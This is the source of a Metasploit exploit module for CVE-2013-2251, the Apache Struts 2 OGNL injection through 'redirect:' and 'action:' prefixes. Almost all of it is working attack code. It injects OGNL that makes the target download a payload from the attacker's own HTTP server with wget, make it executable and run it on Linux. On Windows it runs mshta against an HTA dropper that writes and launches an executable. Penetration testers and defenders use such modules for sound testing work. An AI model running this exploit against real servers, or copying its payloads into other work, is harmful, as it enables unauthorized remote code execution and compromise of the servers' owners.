##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution',
        'Description' => %q{
          The Struts 2 DefaultActionMapper supports a method for short-circuit navigation
          state changes by prefixing parameters with "action:" or "redirect:", followed by
          a desired navigational target expression. This mechanism was intended to help with
          attaching navigational information to buttons within forms.

          In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or
          "redirectAction:" is not properly sanitized. Since said information will be
          evaluated as OGNL expression against the value stack, this introduces the
          possibility to inject server side code.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Takeshi Terada', # Vulnerability discovery
          'sinn3r',         # Metasploit module
          'juan vazquez'    # Metasploit modules
        ],
        'References' => [
          [ 'CVE', '2013-2251' ],
          [ 'OSVDB', '95405' ],
          [ 'BID', '61189' ],
          [ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ]
        ],
        'Platform' => %w{linux win},
        'Targets' => [
          ['Automatic', {}],
          [
            'Windows',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [
            'Linux',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
        'DefaultOptions' => {
          'WfsDelay' => 10
        },
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2013-07-02',
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]),
        OptInt.new('PAYLOAD_REQUEST_DELAY', [true, 'Time to wait for the payload request', 5]),
        # It isn't OptPath becuase it's a *remote* path
        OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ])
      ]
    )

    self.needs_cleanup = true
  end

  def on_new_session(session)
    if session.type == "meterpreter"
      session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
    end

    @dropped_files.delete_if do |file|
      false unless file =~ /\.exe/
      win_file = file.gsub("/", "\\\\")
      if session.type == "meterpreter"
        begin
          wintemp = session.sys.config.getenv('TEMP')
          win_file = "#{wintemp}\\#{win_file}"
          session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
          session.fs.file.rm(win_file)
          print_good("Deleted #{file}")
          true
        rescue ::Rex::Post::Meterpreter::RequestError
          print_error("Failed to delete #{win_file}")
          false
        end
      end
    end

    super
  end

  def start_http_service
    # do not use SSL for this part
    # XXX: See https://github.com/rapid7/metasploit-framework/issues/3853
    # It must be possible to do this without directly editing the
    # datastore.
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    service_url = srv_host + ':' + datastore['SRVPORT'].to_s
    print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
    start_service({
      'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => '/'
      }
    })

    # Restore SSL preference
    # XXX: See https://github.com/rapid7/metasploit-framework/issues/3853
    # It must be possible to do this without directly editing the
    # datastore.
    datastore['SSL'] = true if ssl_restore

    return service_url
  end

  def check
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET'
    })

    if res.nil? or res.code != 200
      vprint_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
      return Exploit::CheckCode::Unknown
    end

    proof = rand_text_alpha(6 + rand(4))

    res = send_request_cgi({
      'uri' => "#{uri}?redirect:%24{new%20java.lang.String('#{proof}')}",
      'method' => 'GET'
    })

    if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ and res.headers['Location'] !~ /String/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def auto_target
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET'
    })

    if res.nil? or res.code != 200
      fail_with(Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
    end

    proof = rand_text_alpha(6 + rand(4))

    res = send_request_cgi({
      'uri' => "#{uri}?redirect:%24{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
      'method' => 'GET'
    })

    if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
      if res.headers['Location'] =~ /:\\/
        return targets[1] # Windows
      else
        return targets[2] # Linux
      end
    end

    fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")
  end

  def exploit_linux
    downfile = rand_text_alpha(8 + rand(8))
    @pl = @exe
    @pl_sent = false

    #
    # start HTTP service if necessary
    #
    service_url = start_http_service

    #
    # download payload
    #
    fname = datastore['WritableDir']
    fname = "#{fname}/" unless fname =~ %r'/$'
    fname << downfile
    uri = normalize_uri(target_uri.path)
    uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//, "$")}').replace('$','\\u002f')})).start()}"

    print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    if res.nil? or res.code != 302
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
    end

    #
    # wait for payload download
    #
    wait_payload

    register_file_for_cleanup(fname)

    #
    # chmod
    #
    uri = normalize_uri(target_uri.path)
    uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//, "$")}').replace('$','\\u002f')})).start()}"

    print_status("#{rhost}:#{rport} - Make payload executable...")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    if res.nil? or res.code != 302
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
    end

    #
    # execute
    #
    uri = normalize_uri(target_uri.path)
    uri << "?redirect:%24{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//, "$")}').replace('$','\\u002f'))).start()}"

    print_status("#{rhost}:#{rport} - Execute payload...")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    if res.nil? or res.code != 302
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
    end
  end

  def exploit_windows
    @var_exename = rand_text_alpha(4 + rand(4)) + '.exe'
    @pl = build_hta
    @pl_sent = false

    #
    # start HTTP service if necessary
    #
    service_url = start_http_service

    #
    # execute hta
    #
    uri = normalize_uri(target_uri.path)
    uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"

    print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    if res.nil? or res.code != 302
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
    end

    #
    # wait for payload download
    #
    wait_payload

    register_file_for_cleanup(@var_exename)
  end

  def exploit
    if target.name =~ /Automatic/
      print_status("#{rhost}:#{rport} - Target autodetection...")
      my_target = auto_target
      print_good("#{rhost}:#{rport} - #{my_target.name} target found!")
    else
      my_target = target
    end

    p = exploit_regenerate_payload(my_target.platform, my_target.arch)
    @exe = generate_payload_exe({ :code => p.encoded, :platform => my_target.platform, :arch => my_target.arch })

    if my_target.name =~ /Linux/
      if datastore['PAYLOAD'] =~ /windows/
        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
      end
      exploit_linux
    elsif my_target.name =~ /Windows/
      if datastore['PAYLOAD'] =~ /linux/
        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
      end
      exploit_windows
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @pl_sent = true
    send_response(cli, @pl)
  end

  def autofilter
    true
  end

  # wait for the data to be sent
  def wait_payload
    print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")

    waited = 0
    while (not @pl_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
      end
    end

    sleep(datastore['PAYLOAD_REQUEST_DELAY'])
  end

  def build_hta
    var_shellobj	= rand_text_alpha(rand(5) + 5);
    var_fsobj = rand_text_alpha(rand(5) + 5);
    var_fsobj_file	= rand_text_alpha(rand(5) + 5);
    var_vbsname = rand_text_alpha(rand(5) + 5);
    var_writedir	= rand_text_alpha(rand(5) + 5);

    var_origLoc = rand_text_alpha(rand(5) + 5);
    var_byteArray	= rand_text_alpha(rand(5) + 5);
    var_writestream	= rand_text_alpha(rand(5) + 5);
    var_strmConv	= rand_text_alpha(rand(5) + 5);

    # Doing in this way to bypass the ADODB.Stream restrictions on JS,
    # even when executing it as an "HTA" application
    # The encoding code has been stolen from ie_unsafe_scripting.rb
    print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta...");

    # Build the content that will end up in the .vbs file
    vbs_content	= Rex::Text.to_hex(%Q|
Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)
    # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
    # for conversion with ADODB.Stream
    vbs_ary = []
    # The output of this loop needs to be as small as possible since it
    # gets repeated for every byte of the executable, ballooning it by a
    # factor of about 80k (the current size of the exe template).  In its
    # current form, it's down to about 4MB on the wire
    @exe.each_byte do |b|
      vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
    end
    vbs_content << vbs_ary.join("")

    # Continue with the rest of the vbs file;
    # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
    # Then use ADODB.Stream again to write the binary to file.
    # print_status("Finishing vbs...");
    vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"

Set #{var_strmConv} = CreateObject("ADODB.Stream")

#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2

SetLocale(#{var_origLoc})|)

    hta = <<-EOS
      <script>
      var #{var_shellobj} = new ActiveXObject("WScript.Shell");
      var #{var_fsobj}    = new ActiveXObject("Scripting.FileSystemObject");
      var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
      var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);

      #{var_fsobj_file}.Write(unescape("#{vbs_content}"));
      #{var_fsobj_file}.Close();

      #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
      #{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
      #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
      window.close();
      </script>
    EOS

    return hta
  end

end
